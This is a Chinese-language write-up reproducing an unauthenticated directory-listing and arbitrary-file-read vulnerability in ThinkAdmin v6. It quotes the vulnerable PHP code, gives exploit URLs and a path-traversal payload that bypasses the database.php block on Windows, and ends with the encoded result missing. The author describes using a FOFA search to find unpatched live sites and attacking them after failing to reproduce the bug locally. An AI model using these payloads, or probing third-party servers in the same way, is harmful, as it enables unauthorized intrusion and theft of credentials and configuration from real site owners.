目录
1. 简介
2. 影响范围
3. 环境搭建
3.1 安装Composer
4. 漏洞复现
4.1 列举目录
4.2 任意文件读取
ThinkAdmin 是基于 ThinkPHP后台开发框架,在ThinkAdmin v6版本存在路径遍历漏洞,该漏洞可以利用GET请求编码参数读取远程服务器上任意文件。
Thinkadmin ≤ 2020.08.03.01
v5(任意文件读取)
v6(列目录,任意文件读取)
ThinkAdmin 源码仓库:https://github.com/zoujingli/ThinkAdmin
详细安装过程请查看官方手册,环境搭建过程均来自手册。
靶机 winserver 2008
ThinkAdmin版本小于 ≤ 2020.08.03.01
PHP >= 7.0.1
据手册说明6.0版本后,必须通过Composer方式安装和更新,所以无法通过Git安装。
如果还没有安装Composer,在 Linux 和 Mac OS X 中运行如下命令即可。
curl -sS https://getcomposer.org/installer | php
mv composer.phar /usr/local/bin/composer
如果是Windows环境,请先下载 Composer-Setup.exe 。至于想了解Composer是什么请自行百度,查阅相关手册。
然后双击安装包,一直默认就行了,根据官网的建议使用国内的镜像。
打开命令行窗口(windows用户)或者 Linux 控制台执行如下命令
composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/
如果是第一次安装,在命令行内,切换到指定的网站根目录下面执行命令:
composer create-project topthink/think thinkadmin
thinkadmin 是目录可以任意更改
如果是已经安装过了,执行以下命令更新
composer update topthink/framework
测试运行命令
进入命令行,执行命令 php think run
php think run -p 80 # 可以指定端口
在浏览器中输入地址访问测试。
到这儿整个靶机环境就算搭建完成
总结:使用Composer安装会有一个问题,关于Composer的详细情况请百度官方文档查看相关内容,但是要清除这个工具是一个PHP依赖管理工具,根据官方的安装文档执行命令后只需要执行一遍,如果需要重新执行安装需要彻底删除相关依赖库。个人建议直接下载源码安装,因为就算你安装了也需要自行导入数据库,本人开始以为是全自动的,浏览器有些不好用,使用抓包工具才发现是没有导入数据库和配置数据库配置文件。
互联网上应该找不到存在漏洞的版本了,所有的链接都是指向官方的代码仓库,下载的源码安装,本人未能成功利用本地环境复现成功。但是这怎么能难道足智多谋的本人呢?最终还没找到了一些还未及时修复的站。
使用 fofa 网络空间搜索引擎,搜索语法如下:
app="ThinkAdmin"
能获得很多结果,但是并不是所有的都存在相关漏洞的,具体的操作请自行发掘。
查看版本url
https://xx.xx.xx.xx/admin/login.html?s=admin/api.Update/version
文件 app/admin/controller/api/Update.php
存在3个function,都是不用登录认证就可以使用的,引用列表如下:
namespace app\admin\controller\api; use think\admin\Controller; use think\admin\service\InstallService; use think\admin\service\ModuleService;
version()可以获取到当前版本:2020.08.03.01,小于这个版本都有可能存在该漏洞。
在下面的代码里发现直接使用POST方法把rules和ignore参数传给 InstallService::instance()->getList() ,根据上面的use引用知道文件路径:
vendor/zoujingli/think-library/src/service/InstallService.php
/**
* 读取文件列表
*/
public function node()
{
$this->success('获取文件列表成功!', InstallService::instance()->getList(
json_decode($this->request->post('rules', '[]', ''), true),
json_decode($this->request->post('ignore', '[]', ''), true)
));
}
跟踪getList,会利用_scanList()去遍历$rules数组。
/**
* 获取文件信息列表
* @param array $rules 文件规则
* @param array $ignore 忽略规则
* @param array $data 扫描结果列表
* @return array
*/
public function getList(array $rules, array $ignore = [], array $data = []): array
{
// 扫描规则文件
foreach ($rules as $key => $rule) {
$name = strtr(trim($rule, '\\/'), '\\', '/');
$data = array_merge($data, $this->_scanList($this->root . $name));
}
// 清除忽略文件
foreach ($data as $key => $item) foreach ($ignore as $ign) {
if (stripos($item['name'], $ign) === 0) unset($data[$key]);
}
// 返回文件数据
return ['rules' => $rules, 'ignore' => $ignore, 'list' => $data];
}
调用 scanDirectory()去递归遍历目录下的文件,最后在透过 _getInfo()去获取文件名与哈希,由下面的代码可知程序没有进行任何验证,攻击者可以在未授权的情况下读取服务器文件列表。
/**
* 获取目录文件列表
* @param string $path 待扫描目录
* @param array $data 扫描结果
* @return array
*/
private function _scanList($path, $data = []): array
{
foreach (NodeService::instance()->scanDirectory($path, [], null) as $file) {
$data[] = $this->_getInfo(strtr($file, '\\', '/'));
}
return $data;
}
/**
* 获取所有PHP文件列表
* @param string $path 扫描目录
* @param array $data 额外数据
* @param string $ext 文件后缀
* @return array
*/
public function scanDirectory($path, $data = [], $ext = 'php')
{
if (file_exists($path)) if (is_file($path)) $data[] = $path;
elseif (is_dir($path)) foreach (scandir($path) as $item) if ($item[0] !== '.') {
$realpath = rtrim($path, '\\/') . DIRECTORY_SEPARATOR . $item;
if (is_readable($realpath)) if (is_dir($realpath)) {
$data = $this->scanDirectory($realpath, $data, $ext);
} elseif (is_file($realpath) && (is_null($ext) || pathinfo($realpath, 4) === $ext)) {
$data[] = strtr($realpath, '\\', '/');
}
}
return $data;
}
/**
* 获取指定文件信息
* @param string $path 文件路径
* @return array
*/
private function _getInfo($path): array
{
return [
'name' => str_replace($this->root, '', $path),
'hash' => md5(preg_replace('/\s+/', '', file_get_contents($path))),
];
}
利用以下payload读取网站根目录
http://xxxxx/ThinkAdmin/public/admin.html?s=admin/api.Update/node
利用POST方法控制$rules参数
/**
* 读取文件内容
*/
public function get()
{
$filename = decode(input('encode', '0'));
if (!ModuleService::instance()->checkAllowDownload($filename)) {
$this->error('下载的文件不在认证规则中!');
}
if (file_exists($realname = $this->app->getRootPath() . $filename)) {
$this->success('读取文件内容成功!', [
'content' => base64_encode(file_get_contents($realname)),
]);
} else {
$this->error('读取文件内容失败!');
}
}
首先从get读取 encode 参数并使用decode()解码:
/**
* 解密 UTF8 字符串
* @param string $content
* @return string
*/
function decode($content)
{
$chars = '';
foreach (str_split($content, 2) as $char) {
$chars .= chr(intval(base_convert($char, 36, 10)));
}
return iconv('GBK//TRANSLIT', 'UTF-8', $chars);
}
解密utf8字符串,刚好上面有个加密utf8字符串的encode(),攻击时直接调用就可以了。
/**
* 加密 UTF8 字符串
* @param string $content
* @return string
*/
function encode($content)
{
[$chars, $length] = ['', strlen($string = iconv('UTF-8', 'GBK//TRANSLIT', $content))];
for ($i = 0; $i < $length; $i++) $chars .= str_pad(base_convert(ord($string[$i]), 10, 36), 2, 0, 0);
return $chars;
}
跟进ModuleService::instance()->checkAllowDownload(),文件路径 vendor/zoujingli/think-library/src/service/ModuleService.php :
/**
* 检查文件是否可下载
* @param string $name 文件名称
* @return boolean
*/
public function checkAllowDownload($name): bool
{
// 禁止下载数据库配置文件
if (stripos($name, 'database.php') !== false) {
return false;
}
// 检查允许下载的文件规则
foreach ($this->getAllowDownloadRule() as $rule) {
if (stripos($name, $rule) !== false) return true;
}
// 不在允许下载的文件规则
return false;
}
代码是禁止下载数据库配置文件database.php,查看允许下载的文件规则 getAllowDownloadRule():
/**
* 获取允许下载的规则
* @return array
*/
public function getAllowDownloadRule(): array
{
$data = $this->app->cache->get('moduleAllowRule', []);
if (is_array($data) && count($data) > 0) return $data;
$data = ['config', 'public/static', 'public/router.php', 'public/index.php'];
foreach (array_keys($this->getModules()) as $name) $data[] = "app/{$name}";
$this->app->cache->set('moduleAllowRule', $data, 30);
return $data;
}
/**
*允许列表
*config
*public/static
*public/router.php
*public/index.php
*app/admin
*app/wechat
*/
参数$name被限制了必须要是允许文件列表和不能说是database.php文件才能够被读取,可以通过 'public/static/../../1.txt' 读取根目录的1.txt。在Linux环境下对于database.php的限制是没法绕过的,但是在windows下可以把 . 替换成 " ,传入
public/static/../../config/database"php
使用编码脚本进行编码的结果为:
尝试读取数据库配置文件(找了半天也没有找到windows的,也没法读取),于是尝试读取其他文件:
本文参考:
https://github.com/zoujingli/ThinkAdmin/issues/244